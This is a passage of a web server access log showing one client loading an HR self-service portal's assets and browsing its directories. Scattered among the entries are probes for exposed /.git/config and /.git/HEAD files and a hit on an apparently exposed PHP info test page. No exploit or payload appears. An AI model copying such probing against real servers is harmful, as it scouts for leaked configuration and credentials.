Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:51 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /.git/HEAD HTTP/1.1" 404 207 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /.git/HEAD HTTP/1.1" 404 207 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 222 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 222 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /.git/config HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /.git/config HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /security.txt HTTP/1.1" 404 210 "http://hcp.maglayers.com.cn:8088/ehr/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /security.txt HTTP/1.1" 404 210 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:37:52 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:38:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:38:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:38:36 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:38:36 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 100.64.0.1 - - [05/Dec/2025:21:39:07 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:07 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:21:39:07 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:07 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:21:39:12 +0800] "GET /test.php HTTP/1.1" 200 47600 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:12 +0800] "GET /test.php HTTP/1.1" 200 47600 100.64.0.1 - - [05/Dec/2025:21:39:12 +0800] "GET /test.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524 "http://hcp.maglayers.com.cn:8088/test.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:12 +0800] "GET /test.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524 100.64.0.1 - - [05/Dec/2025:21:39:12 +0800] "GET /test.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2146 "http://hcp.maglayers.com.cn:8088/test.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:12 +0800] "GET /test.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2146 100.64.0.1 - - [05/Dec/2025:21:39:16 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:16 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:21:39:16 +0800] "GET /eHRTEST/ess/index.php HTTP/1.1" 200 431 100.64.0.1 - - [05/Dec/2025:21:39:16 +0800] "GET /eHRTEST/ess/index.php HTTP/1.1" 200 431 "http://hcp.maglayers.com.cn:8088/eHRTEST/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:22 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:22 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:21:39:27 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:27 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:21:39:34 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:34 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [05/Dec/2025:21:39:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://hcp.maglayers.com.cn:8088/Apache%20Software%20Foundation/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [05/Dec/2025:21:39:22 +0800] "GET /eHR1/ess/index.php HTTP/1.1" 200 342 100.64.0.1 - - [05/Dec/2025:21:39:22 +0800] "GET /eHR1/ess/index.php HTTP/1.1" 200 342 "http://hcp.maglayers.com.cn:8088/eHR1/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:27 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/eHR/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:27 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:39:44 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:44 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:39:44 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:44 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:39:44 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:44 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:39:44 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:44 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://hcp.maglayers.com.cn:8088/Apache%20Software%20Foundation/Apache2.2/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:45 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 